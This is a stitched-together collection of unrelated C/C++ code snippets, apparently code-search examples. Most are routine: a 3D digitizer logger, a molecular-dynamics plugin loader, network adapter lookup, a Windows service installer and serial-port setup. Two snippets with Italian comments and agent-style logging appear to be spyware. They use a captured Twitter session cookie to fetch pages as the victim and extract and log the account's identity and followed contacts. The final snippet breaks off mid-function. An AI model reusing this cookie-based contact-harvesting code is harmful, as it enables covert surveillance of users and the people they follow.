int main(int argc, const char* argv[])
{
    FILE* fp;
    int nPoints = 0, nSystem = 1;
    char szFile[_MAX_PATH], szInfo[128];
    CMicroScribe ms;
    CMicroScribe::status_t result;
    int nButtons = 0;
    errno_t err;

    ms.Init();
    ms.SetupDefaultCallbacks();
    ms.LengthUnits(CMicroScribe::MM);
    fprintf(stdout, "Suche MicroScribe3D...\n");
    //result = ms.Connect(2, 115200);
    result = ms.Connect();

    if (result != CHCI::S_SUCCESS)
    {
        fprintf(stderr, "Es konnte keine Verbindung zum MicroScribe3D Messarm hergstellt werden!\n");
        return EXIT_FAILURE;
    }

    fprintf(stdout, "---------------------------------------------------------------------\n");
    fprintf(stdout, "MicroScribe3D Datenaufzeichnung fuer Termin 4, Aufgabe 1 und 2.\n");
    fprintf(stdout, "Betaetigen Sie den Fusstaster um die aktuelle Position aufzuzeichnen.\n");
    fprintf(stdout, "Druecken Sie [ESC] um das Programm zu beenden.\n");
    fprintf(stdout, "---------------------------------------------------------------------\n");
    fprintf(stdout, "Produkt:          %s\n", ms.hci.m_szProductName);
    fprintf(stdout, "Bezeichnung:      %s\n", ms.hci.m_szProductId);
    fprintf(stdout, "Modell:           %s\n", ms.hci.m_szModelName);
    fprintf(stdout, "Version:          %s\n", ms.hci.m_szVersion);
    fprintf(stdout, "Seriennummer:     %s\n", ms.hci.m_szSerialNumber);
    fprintf(stdout, "Parameter:        %s\n", ms.hci.m_szParamFormat);
    fprintf(stdout, "Sonstiges:        %s\n", ms.hci.m_szComment);
    fprintf(stdout, "---------------------------------------------------------------------\n");

    result = ms.SyncStylus6DOF();
    ms.MotionStylus6DOF(5, 10, 0xF);

    while (result == CHCI::S_SUCCESS || result == CHCI::S_NO_PACKET_YET)
    {
        result = ms.MotionCheck();

        if (result == CHCI::S_SUCCESS)
        {
            _snprintf_s(szFile, _TRUNCATE, DATA_FNAME, nSystem);
            fprintf(stdout, "%d@%s: X%+07.2f Y%+07.2f Z%+07.2f  \r", nPoints + 1, szFile, ms.m_stylusPosition.x, ms.m_stylusPosition.y, ms.m_stylusPosition.z);

            if (ms.hci.m_nButtons != nButtons)
            {
                nButtons = ms.hci.m_nButtons;
                if (nButtons)
                {
                    if (!nPoints)
                    {
                        err = fopen_s(&fp, szFile, "w");
                        if (err)
                        {
                            strerror_s(szInfo, err);
                            fprintf(stderr, "%s: %s\n", szFile, szInfo);
                            break;
                        }
                    }

                    nPoints += 1;
                    fputs("\n", stdout);
                    fprintf(fp, "%.3f;%.3f;%.3f\n", ms.m_stylusPosition.x, ms.m_stylusPosition.y, ms.m_stylusPosition.z);

                    if (nPoints == 3)
                    {
                        fprintf(stdout, "Der Datensatz %s wurde abgespeichert.\n", szFile);
                        fclose(fp);
                        nPoints = 0;
                        nSystem += 1;
                    }
                }
            }
        }

        if (GetAsyncKeyState(VK_ESCAPE) & 0x8000)
            break;
    }

    ms.MotionEnd();
    ms.Disconnect();
    fputs("\n\n", stdout);

    if (nPoints)
    {
        fclose(fp);
        DeleteFile(szFile);
    }

    return EXIT_SUCCESS;
}
DWORD TwitterContactHandler(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char user[256];
	WCHAR user_name[256];
	static BOOL scanned = FALSE;

	if (!ConfIsModuleEnabled(L"addressbook"))
		return SOCIAL_REQUEST_SUCCESS;


#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif
		
	if (scanned)
		return SOCIAL_REQUEST_SUCCESS;

	// Identifica l'utente
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	LOOP {
		parser1 = (char *)strstr((char *)parser1, "data-user-id=\"");
		if (!parser1) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		parser1 += strlen("data-user-id=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (!parser2) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		*parser2=0;
		_snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
		if (strlen(user)) 
			break;
		parser1 = parser2 + 1;
	}

	// Cattura il proprio account
	parser1 = parser2 + 1;
	parser1 = (char *)strstr((char *)parser1, "data-screen-name=\"");
	if (parser1) {
		parser1 += strlen("data-screen-name=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (parser2) {
			*parser2=0;
			
			_snwprintf_s(user_name, sizeof(user_name)/sizeof(WCHAR), _TRUNCATE, L"%S", parser1);		
#ifdef _DEBUG
			OutputDebug(L"[*] %S: username %s\n", __FUNCTION__, user_name);
#endif
			SocialLogContactW(CONTACT_SRC_TWITTER, user_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, user_name, NULL, CONTACTS_MYACCOUNT);
			
		}
	}
	
	SAFE_FREE(r_buffer);
	scanned = TRUE;

	
	return ParseFollowing(user, cookie);
}
DWORD ParseFollowing(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	
	char screen_name[256];
	char following_contact[256];
	

#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif
			
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/following", 443, NULL, 0, &r_buffer, &response_len, cookie);

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	
	for (;;) {

		/* 1] following contact
			e.g. <div class="ProfileCard js-actionable-user"   data-screen-name="thegrugq_ebooks"
		*/

		// advance first token
		parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_1);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_FOLLOWING_CONTACT_1);

		// advance second token
		parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_2);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_FOLLOWING_CONTACT_2);

		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(following_contact, sizeof(following_contact), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - contact name: %S\n", __FUNCTION__, following_contact);
#endif

		/* 2] screen name
			e.g.  data-name="The real Grugq" 
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START);
		
		parser2 = strchr( parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - screen name: %S\n", __FUNCTION__, screen_name);
#endif
		SocialLogContactA(CONTACT_SRC_TWITTER, screen_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, following_contact, NULL, TWITTER_FOLLOWER);
		
	}

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
Exemple #4
0
static int load_vmd_library(const char *fn, t_gmxvmdplugin *vmdplugin)
{
    char            pathname[GMX_PATH_MAX], filename[GMX_PATH_MAX];
    const char     *pathenv;
    const char     *err;
    int             i;
    int             ret = 0;
    char            pathenv_buffer[GMX_PATH_MAX];
#ifndef GMX_NATIVE_WINDOWS
    glob_t          globbuf;
    const char     *defpath_suffix = "/plugins/*/molfile";
    const char     *defpathenv     = GMX_VMD_PLUGIN_PATH;
#else
    WIN32_FIND_DATA ffd;
    HANDLE          hFind = INVALID_HANDLE_VALUE;
    char            progfolder[GMX_PATH_MAX];
    char            defpathenv[GMX_PATH_MAX];
    const char     *defpath_suffix = "\\plugins\\WIN32\\molfile";
    SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, progfolder);
    sprintf(defpathenv, "%s\\University of Illinois\\VMD\\plugins\\WIN32\\molfile", progfolder);
#endif

    vmdplugin->api      = NULL;
    vmdplugin->filetype = strrchr(fn, '.');
    if (!vmdplugin->filetype)
    {
        return 0;
    }
    vmdplugin->filetype++;

    /* First look for an explicit path given at run time for the
     * plugins, then an implicit run-time path, and finally for one
     * given at configure time. This last might be hard-coded to the
     * default for VMD installs. */
    pathenv = getenv("VMD_PLUGIN_PATH");
    if (pathenv == NULL)
    {
        pathenv = getenv("VMDDIR");
        if (NULL == pathenv)
        {
            printf("\nNeither VMD_PLUGIN_PATH or VMDDIR set. ");
            printf("Using default location:\n%s\n", defpathenv);
            pathenv = defpathenv;
        }
        else
        {
            printf("\nVMD_PLUGIN_PATH no set, but VMDDIR is set. ");
#ifdef _MSC_VER
            _snprintf_s(pathenv_buffer, sizeof(pathenv_buffer), _TRUNCATE, "%s%s", pathenv, defpath_suffix);
#else
            snprintf(pathenv_buffer, sizeof(pathenv_buffer), "%s%s", pathenv, defpath_suffix);
#endif
            printf("Using semi-default location:\n%s\n", pathenv_buffer);
            pathenv = pathenv_buffer;
        }
    }
    strncpy(pathname, pathenv, sizeof(pathname));
#ifndef GMX_NATIVE_WINDOWS
    strcat(pathname, "/*.so");
    glob(pathname, 0, NULL, &globbuf);
    if (globbuf.gl_pathc == 0)
    {
        printf("\nNo VMD Plugins found\n"
               "Set the environment variable VMD_PLUGIN_PATH to the molfile folder within the\n"
               "VMD installation.\n"
               "The architecture (e.g. 32bit versus 64bit) of Gromacs and VMD has to match.\n");
        return 0;
    }
    for (i = 0; i < globbuf.gl_pathc && vmdplugin->api == NULL; i++)
    {
        /* FIXME: Undefined which plugin is chosen if more than one plugin
           can read a certain file ending. Requires some additional command
           line option or enviroment variable to specify which plugin should
           be picked.
         */
        ret |= load_sharedlibrary_plugins(globbuf.gl_pathv[i], vmdplugin);
    }
    globfree(&globbuf);
#else
    strcat(pathname, "\\*.so");
    hFind = FindFirstFile(pathname, &ffd);
    if (INVALID_HANDLE_VALUE == hFind)
    {
        printf("\nNo VMD Plugins found\n");
        return 0;
    }
    do
    {
        sprintf(filename, "%s\\%s", pathenv, ffd.cFileName);
        ret |= load_sharedlibrary_plugins(filename, vmdplugin);
    }
    while (FindNextFile(hFind, &ffd )  != 0 && vmdplugin->api == NULL);
    FindClose(hFind);
#endif

    if (!ret)
    {
        printf("\nCould not open any VMD library.\n");
        err = vmddlerror();
        if (!err)
        {
            printf("Compiled with dlopen?\n");
        }
        else
        {
            printf("Last error:\n%s\n", err);
        }
        return 0;
    }

    if (vmdplugin->api == NULL)
    {
        printf("\nNo plugin for %s found\n", vmdplugin->filetype);
        return 0;
    }

    if (vmdplugin->api->abiversion < 10)
    {
        printf("\nPlugin and/or VMD is too old. At least VMD 1.8.6 is required.\n");
        return 0;
    }

    printf("\nUsing VMD plugin: %s (%s)\n", vmdplugin->api->name, vmdplugin->api->prettyname);

    return 1;

}
/*
 * return an array of IP_ADAPTER_ADDRESSES containing one element
 * for each adapter on the system. Returned in *adapters.
 * Buffer is malloc'd and must be freed (unless error returned)
 */
IP_ADAPTER_ADDRESSES *getAdapter (JNIEnv *env,  jint index) {
    DWORD flags, val;
    IP_ADAPTER_ADDRESSES *adapterInfo, *ptr, *ret;
    ULONG len;
    char *error_msg_buf = NULL;
    size_t error_msg_buf_size =
        strlen("IP Helper Library GetAdaptersAddresses function failed with error == ") + 10;
    int _ret = 0;
    adapterInfo = (IP_ADAPTER_ADDRESSES *)malloc (bufsize);
    if (adapterInfo == NULL) {
        JNU_ThrowByName(env, "java/lang/OutOfMemoryError",
            "Native heap allocation failure");
        return NULL;
    }
    len = bufsize;
    flags = GAA_FLAG_SKIP_DNS_SERVER;
    flags |= GAA_FLAG_SKIP_MULTICAST;
    flags |= GAA_FLAG_INCLUDE_PREFIX;
    val = GetAdaptersAddresses(AF_UNSPEC, flags, NULL, adapterInfo, &len);
    if (val == ERROR_BUFFER_OVERFLOW) {
        IP_ADAPTER_ADDRESSES * newAdapterInfo = NULL;
        if (len  < (ULONG_MAX - bufsize)) {
            len = len + bufsize;
        }
        newAdapterInfo =
                (IP_ADAPTER_ADDRESSES *) realloc (adapterInfo, len);
        if (newAdapterInfo == NULL) {
            free(adapterInfo);
            JNU_ThrowByName(env, "java/lang/OutOfMemoryError",
                "Native heap allocation failure");
            return NULL;
        }

        adapterInfo = newAdapterInfo;

        val = GetAdaptersAddresses(AF_UNSPEC, flags, NULL, adapterInfo, &len);
    }

    if (val != ERROR_SUCCESS) {
        free (adapterInfo);
        if (val == ERROR_INSUFFICIENT_BUFFER) {
            JNU_ThrowByName(env, "java/lang/Error",
                "IP Helper Library GetAdaptersAddresses function failed "
                "with ERROR_INSUFFICIENT_BUFFER");
        } else if (val == ERROR_ADDRESS_NOT_ASSOCIATED ) {
            JNU_ThrowByName(env, "java/lang/Error",
                "IP Helper Library GetAdaptersAddresses function failed "
                "with ERROR_ADDRESS_NOT_ASSOCIATED");
        } else {
            error_msg_buf = (char *)malloc(error_msg_buf_size);
            if (error_msg_buf != NULL) {
                memset(error_msg_buf, 0, error_msg_buf_size);
                _ret = _snprintf_s(error_msg_buf, error_msg_buf_size,
                    _TRUNCATE, "IP Helper Library GetAdaptersAddresses function failed "
                               "with error == %d", val);
                if (_ret != -1) {
                    JNU_ThrowByName(env, "java/lang/Error", error_msg_buf);
                } else {
                    JNU_ThrowByName(env, "java/lang/Error",
                        "IP Helper Library GetAdaptersAddresses function failure");
                }
            } else {
                JNU_ThrowByName(env, "java/lang/Error",
                    "IP Helper Library GetAdaptersAddresses function failed");
            }
        }
        return NULL;
    }

    ptr = adapterInfo;
    ret = NULL;
    while (ptr != NULL) {
      // in theory the IPv4 index and the IPv6 index can be the same
      // where an interface is enabled for v4 and v6
      // IfIndex == 0 IPv4 not available on this interface
      // Ipv6IfIndex == 0 IPv6 not available on this interface
      if (((ptr->IfIndex != 0)&&(ptr->IfIndex == index)) ||
          ((ptr->Ipv6IfIndex !=0) && (ptr->Ipv6IfIndex == index))) {
        ret = (IP_ADAPTER_ADDRESSES *) malloc(sizeof(IP_ADAPTER_ADDRESSES));
        if (ret == NULL) {
            free(adapterInfo);
            JNU_ThrowByName(env, "java/lang/OutOfMemoryError",
                "Native heap allocation failure");
            return NULL;
        }

        //copy the memory and break out of the while loop.
        memcpy(ret, ptr, sizeof(IP_ADAPTER_ADDRESSES));
        break;

      }
      ptr=ptr->Next;
    }
    free(adapterInfo);
    return ret;
}
static
BOOL
_findStrings
(
    HWND    hDlg,
    DWORD   minLength,
    BOOL    ascii,
    BOOL    unicode,
    BOOL    showOffset,
    BOOL    searchBoth
)
{

    PBYTE   fileptr     = g_object;
    PBYTE   fileend     = g_object;
    DWORD   filelen     = 0;
    CHAR    str[MAX_STRING_LEN] = { 0 };
    CHAR    strsfound[30] = { 0 };
    int     strlen      = 0;
    int     offset      = 0;
    int     index       = 0;
    DWORD   steplen     = 0;
    int     stepOffset  = 0;
    char    isUnicode   = 0;
    int     longestStr  = 0;
    BOOL    stop        = FALSE;
    BOOL    err         = FALSE;

    if (minLength < MIN_STRING_LEN)
    {
        minLength = MIN_STRING_LEN;
    }

    ResetEvent(g_event);

    filelen = CFFApi.eaGetObjectSize(hDlg);
    fileend += filelen;
    steplen = filelen / 100;

    if (searchBoth)
    {
        steplen *= 2;
    }


    while (fileptr + offset < fileend && !stop)
    {
        ZeroMemory(str, sizeof(str));
        strlen = string(fileptr, filelen, offset, unicode, str, sizeof(str) - 1, &isUnicode);
            
        if (strlen >= (int)minLength)
        {
            if (index < MAXINT16)
            {
                if (strlen > longestStr)
                {
                    longestStr = strlen;
                }

                if ((ascii && !isUnicode) || (unicode && isUnicode))
                {
                    _insertString(hDlg, str, strlen + 1, showOffset, offset, searchBoth, isUnicode, index);
                    index++;
                }
            }
            else
            {
                Edit_SetText(GetDlgItem(hDlg, IDC_STATUS), "ERROR: Exceeded string display limit (~32K strings). Increase min string length.");
                err = TRUE;
                break;
            }
        }

        offset += (strlen == 0) ? 1 : (isUnicode ? strlen * 2 : strlen);

        if (offset - stepOffset > (int)steplen)
        {
            SendDlgItemMessageA(hDlg, IDC_PROGRESS, PBM_STEPIT, 0, (LPARAM)0);
            stepOffset = offset;
        }
        if (WAIT_OBJECT_0 == WaitForSingleObject(g_event, 0))
        {
            stop = TRUE;
        }
    }
    ListView_SetColumnWidth(GetDlgItem(hDlg, IDC_STRINGLIST), showOffset + searchBoth, longestStr * PIXELS_PER_CHAR);

    if (!stop)
    {
        if (!err)
        {
            ZeroMemory(strsfound, sizeof(strsfound));
            _snprintf_s(strsfound, sizeof(strsfound), sizeof(strsfound), "Found %d strings.", index);
            Edit_SetText(GetDlgItem(hDlg, IDC_STATUS), strsfound);
        }
    }

    return stop || err;
}
Exemple #7
0
BOOL CNTService::Install()
{
    // Open the Service Control Manager
    SC_HANDLE hSCM = ::OpenSCManager(NULL, // local machine
                                     NULL, // ServicesActive database
                                     SC_MANAGER_ALL_ACCESS); // full access
    if (!hSCM) return FALSE;

    // Get the executable file path
    char szFilePath[_MAX_PATH];
    ::GetModuleFileName(NULL, szFilePath, _countof(szFilePath));

    // Create the service
    SC_HANDLE hService = ::CreateService(hSCM,
                                         m_szServiceName,
                                         m_szServiceName,
                                         SERVICE_ALL_ACCESS,
                                         SERVICE_WIN32_OWN_PROCESS,
										 //SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
                                         SERVICE_AUTO_START,       
                                         SERVICE_ERROR_NORMAL,
                                         szFilePath,
                                         NULL,
                                         NULL,
                                         "\0\0",
                                         NULL,
                                         NULL);
    if (!hService) {
        ::CloseServiceHandle(hSCM);
        return FALSE;
    }

    // make registry entries to support logging messages
    // Add the source name as a subkey under the Application
    // key in the EventLog service portion of the registry.
    char szKey[256];
    HKEY hKey = NULL;
	_snprintf_s(szKey,_countof(szKey),_TRUNCATE,"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\%s",m_szServiceName);

    if (::RegCreateKey(HKEY_LOCAL_MACHINE, szKey, &hKey) != ERROR_SUCCESS) {
        ::CloseServiceHandle(hService);
        ::CloseServiceHandle(hSCM);
        return FALSE;
    }

    // Add the Event ID message-file name to the 'EventMessageFile' subkey.
    ::RegSetValueEx(hKey,
                    "EventMessageFile",
                    0,
                    REG_EXPAND_SZ, 
                    (CONST BYTE*)szFilePath,
                    (int)strlen(szFilePath) + 1);     

    // Set the supported types flags.
    DWORD dwData = EVENTLOG_ERROR_TYPE | EVENTLOG_WARNING_TYPE | EVENTLOG_INFORMATION_TYPE;
    ::RegSetValueEx(hKey,
                    "TypesSupported",
                    0,
                    REG_DWORD,
                    (CONST BYTE*)&dwData,
                     sizeof(DWORD));
    ::RegCloseKey(hKey);

    LogEvent(EVENTLOG_INFORMATION_TYPE, EVMSG_INSTALLED, m_szServiceName);

    // tidy up
    ::CloseServiceHandle(hService);
    ::CloseServiceHandle(hSCM);
    return TRUE;
}
void EIO_Open(uv_work_t* req) {
  OpenBaton* data = static_cast<OpenBaton*>(req->data);

  char originalPath[1024];
  strncpy_s(originalPath, sizeof(originalPath), data->path, _TRUNCATE);
  // data->path is char[1024] but on Windows it has the form "COMx\0" or "COMxx\0"
  // We want to prepend "\\\\.\\" to it before we call CreateFile
  strncpy(data->path + 20, data->path, 10);
  strncpy(data->path, "\\\\.\\", 4);
  strncpy(data->path + 4, data->path + 20, 10);

  HANDLE file = CreateFile(
    data->path,
    GENERIC_READ | GENERIC_WRITE,
    0, // dwShareMode 0 Prevents other processes from opening if they request delete, read, or write access
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_OVERLAPPED, // allows for reading and writing at the same time and sets the handle for asynchronous I/O
    NULL
  );
  if (file == INVALID_HANDLE_VALUE) {
    DWORD errorCode = GetLastError();
    char temp[100];
    _snprintf_s(temp, sizeof(temp), _TRUNCATE, "Opening %s", originalPath);
    ErrorCodeToString(temp, errorCode, data->errorString);
    return;
  }

  bufferSize = data->bufferSize;
  if (bufferSize > MAX_BUFFER_SIZE) {
    bufferSize = MAX_BUFFER_SIZE;
  }

  DCB dcb = { 0 };
  SecureZeroMemory(&dcb, sizeof(DCB));
  dcb.DCBlength = sizeof(DCB);

  if (!GetCommState(file, &dcb)) {
    ErrorCodeToString("GetCommState", GetLastError(), data->errorString);
    return;
  }

  if (data->hupcl) {
    dcb.fDtrControl = DTR_CONTROL_ENABLE;
  } else {
    dcb.fDtrControl = DTR_CONTROL_DISABLE;  // disable DTR to avoid reset
  }

  dcb.Parity = NOPARITY;
  dcb.ByteSize = 8;
  dcb.StopBits = ONESTOPBIT;
  dcb.fInX = FALSE;
  dcb.fOutX = FALSE;
  dcb.fOutxDsrFlow = FALSE;
  dcb.fOutxCtsFlow = FALSE;
  dcb.fRtsControl = RTS_CONTROL_ENABLE;

  dcb.fBinary = true;
  dcb.BaudRate = data->baudRate;
  dcb.ByteSize = data->dataBits;

  switch (data->parity) {
  case SERIALPORT_PARITY_NONE:
    dcb.Parity = NOPARITY;
    break;
  case SERIALPORT_PARITY_MARK:
    dcb.Parity = MARKPARITY;
    break;
  case SERIALPORT_PARITY_EVEN:
    dcb.Parity = EVENPARITY;
    break;
  case SERIALPORT_PARITY_ODD:
    dcb.Parity = ODDPARITY;
    break;
  case SERIALPORT_PARITY_SPACE:
    dcb.Parity = SPACEPARITY;
    break;
  }

  switch (data->stopBits) {
  case SERIALPORT_STOPBITS_ONE:
    dcb.StopBits = ONESTOPBIT;
    break;
  case SERIALPORT_STOPBITS_ONE_FIVE:
    dcb.StopBits = ONE5STOPBITS;
    break;
  case SERIALPORT_STOPBITS_TWO:
    dcb.StopBits = TWOSTOPBITS;
    break;
  }

  if (!SetCommState(file, &dcb)) {
    ErrorCodeToString("SetCommState", GetLastError(), data->errorString);
    return;
  }

  // Set the com port read/write timeouts
  DWORD serialBitsPerByte = 8/*std data bits*/ + 1/*start bit*/;
  serialBitsPerByte += (data->parity == SERIALPORT_PARITY_NONE) ? 0 : 1;
  serialBitsPerByte += (data->stopBits == SERIALPORT_STOPBITS_ONE) ? 1 : 2;
  DWORD msPerByte = (data->baudRate > 0) ?
                    ((1000 * serialBitsPerByte + data->baudRate - 1) / data->baudRate) :
                    1;
  if (msPerByte < 1) {
    msPerByte = 1;
  }
  COMMTIMEOUTS commTimeouts = {0};
  commTimeouts.ReadIntervalTimeout = msPerByte;  // Minimize chance of concatenating of separate serial port packets on read
  commTimeouts.ReadTotalTimeoutMultiplier = 0;  // Do not allow big read timeout when big read buffer used
  commTimeouts.ReadTotalTimeoutConstant = 1000;  // Total read timeout (period of read loop)
  commTimeouts.WriteTotalTimeoutConstant = 1000;  // Const part of write timeout
  commTimeouts.WriteTotalTimeoutMultiplier = msPerByte;  // Variable part of write timeout (per byte)
  if (!SetCommTimeouts(file, &commTimeouts)) {
    ErrorCodeToString("SetCommTimeouts", GetLastError(), data->errorString);
    return;
  }

  // Remove garbage data in RX/TX queues
  PurgeComm(file, PURGE_RXCLEAR);
  PurgeComm(file, PURGE_TXCLEAR);

  data->result = (int)file;
}
Exemple #9
0
static
DWORD
VmDnsRpcCreateSrpAuthIdentity(
    PCSTR user,
    PCSTR domain,
    PCSTR password,
    PSTR *retUpn,
    rpc_auth_identity_handle_t *rpc_identity_h
    )
{
    OM_uint32 min = 0;
    OM_uint32 maj = 0;
    const gss_OID_desc gss_srp_password_oid = { GSSAPI_SRP_CRED_OPT_PW_LEN,
                                                (void *) GSSAPI_SRP_CRED_OPT_PW};
    const gss_OID_desc spnego_mech_oid = { SPNEGO_OID_LENGTH, (void *)SPNEGO_OID };
    gss_buffer_desc name_buf = { 0 };
    gss_name_t gss_name_buf = NULL;
    gss_buffer_desc gss_pwd = { 0 };
    size_t upn_len = 0;
    char *upn = NULL;
    gss_cred_id_t cred_handle = NULL;
    gss_OID_desc mech_oid_array[1];
    gss_OID_set_desc desired_mech = { 0 };

    if (domain)
    {
        /* user@DOMAIN\0 */
        upn_len = strlen(user) + 1 + strlen(domain) + 1;
        upn = calloc(upn_len, sizeof(char));
        if (!upn)
        {
            maj = GSS_S_FAILURE;
            min = ENOMEM;
        }
#ifndef _WIN32
        snprintf(upn, upn_len, "%s@%s", user, domain);
#else
        _snprintf_s(upn, upn_len, upn_len, "%s@%s", user, domain);
#endif
    }
    else
    {
        /* Assume a UPN-like name form when no domain is provided */
        upn = strdup((char *)user);
        if (!upn)
        {
            maj = GSS_S_FAILURE;
            min = ENOMEM;
        }
    }
    name_buf.value = upn;
    name_buf.length = strlen(name_buf.value);
    maj = gss_import_name(
        &min,
        &name_buf,
        GSS_C_NT_USER_NAME,
        &gss_name_buf);
    if (maj)
    {
        goto error;
    }

    /*
    * Hard code desired mech OID to SRP
    */
    desired_mech.count = 1;
    desired_mech.elements = mech_oid_array;
    desired_mech.elements[0] = spnego_mech_oid;
    maj = gss_acquire_cred(
        &min,
        gss_name_buf,
        0,
        &desired_mech,
        GSS_C_INITIATE,
        &cred_handle,
        NULL,
        NULL);
    if (maj)
    {
        goto error;
    }

    gss_pwd.value = (char *)password;
    gss_pwd.length = strlen(gss_pwd.value);
    maj = gss_set_cred_option(
        &min,
        &cred_handle,
        (gss_OID)&gss_srp_password_oid,
        &gss_pwd);
    if (maj)
    {
        goto error;
    }

    *retUpn = upn;
    upn = NULL;
    *rpc_identity_h = (rpc_auth_identity_handle_t)cred_handle;

error:
    if (maj)
    {
        maj = min ? min : maj;
    }

    if (upn)
    {
        free(upn);
    }
    if (gss_name_buf)
    {
        gss_release_name(&min, &gss_name_buf);
    }

    return (DWORD)maj;
}
Exemple #10
0
DWORD HandleTwitterContacts(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char user[256];
	WCHAR user_name[256];
	static BOOL scanned = FALSE;
	HANDLE hfile;

	CheckProcessStatus();

	if (!bPM_ContactsStarted)
		return SOCIAL_REQUEST_NETWORK_PROBLEM;

	if (scanned)
		return SOCIAL_REQUEST_SUCCESS;

	// Identifica l'utente
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	LOOP {
		parser1 = (char *)strstr((char *)parser1, "data-user-id=\"");
		if (!parser1) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		parser1 += strlen("data-user-id=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (!parser2) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		*parser2=0;
		_snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
		if (strlen(user)) 
			break;
		parser1 = parser2 + 1;
	}

	// Cattura il proprio account
	parser1 = parser2 + 1;
	parser1 = (char *)strstr((char *)parser1, "data-screen-name=\"");
	if (parser1) {
		parser1 += strlen("data-screen-name=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (parser2) {
			*parser2=0;
			hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
			_snwprintf_s(user_name, sizeof(user_name)/sizeof(WCHAR), _TRUNCATE, L"%S", parser1);		
			DumpContact(hfile, CONTACT_SRC_TWITTER, user_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, user_name, NULL, CONTACTS_MYACCOUNT);
			Log_CloseFile(hfile);
		}
	}
	
	SAFE_FREE(r_buffer);
	scanned = TRUE;

	//ParseCategory(user, "friends", cookie, TWITTER_FRIEND);
	//return ParseCategory(user, "followers", cookie, TWITTER_FOLLOWER);
	return ParseFollowing(user, cookie);
}
Exemple #11
0
int __declspec(dllexport)plugin_main(char *event, void *data) 
{   
	struct config_t config;
	
	HRSRC src;
	char ver[50] = {0};
	char* fileName;
	DWORD dwHandle;
	DWORD dwLen;
	unsigned int BufLen;
	char* lpData;
	VS_FIXEDFILEINFO* pFileInfo;

	if (!_stricmp(event,"load")) { 
	   struct plugin_info_t *pi = (struct plugin_info_t *)data;

	   fileName = (char*)malloc(_MAX_DIR);
	   GetModuleFileName(GetModuleHandle("spotian"), fileName, _MAX_DIR);

	   dwLen = GetFileVersionInfoSize(fileName, &dwHandle);
	   lpData = (char*)malloc(dwLen);
	   GetFileVersionInfo( fileName, dwHandle, dwLen, lpData);

	   VerQueryValue(lpData, "\\", (LPVOID*)(&pFileInfo), (PUINT)(&BufLen));
	   majver = HIWORD(pFileInfo->dwFileVersionMS);
	   minver = LOWORD(pFileInfo->dwFileVersionMS);
	   patch = HIWORD(pFileInfo->dwFileVersionLS);
	   build = LOWORD(pFileInfo->dwFileVersionLS);

	   free(lpData);
	   free(fileName);

	   _snprintf_s(ver, 50, 49, "%d.%d.%d (Build %d)",
				majver, minver, patch, build);
	   //version = reinterpret_cast<char*>(malloc(strlen(ver)+1));
	   //strncpy_s(version, strlen(version) + 1, ver, _TRUNCATE);
	   version = _strdup(ver);

	   _snprintf_s(ver, 50, 49, "%d.%d.%d",
				majver, minver, patch);
	   //shortver = reinterpret_cast<char*>(malloc(strlen(ver)+1));
	   //strcpy(shortver, ver);
	   shortver = _strdup(ver);

	   _snprintf_s(ver, 50, 49, "%d.%d.%d.%d",
				majver, minver, patch, build);
	   //updatever = reinterpret_cast<char*>(malloc(strlen(ver)+1));
	   //strcpy(updatever, ver);
	   updatever = _strdup(ver);

	   if (pi) {

			/* Fill in plugin information.
			 */

			strcpy(pi->guid, MYGUID); 
			strcpy(pi->name, MYNAME); 
			strcpy(pi->company, COMPANY);
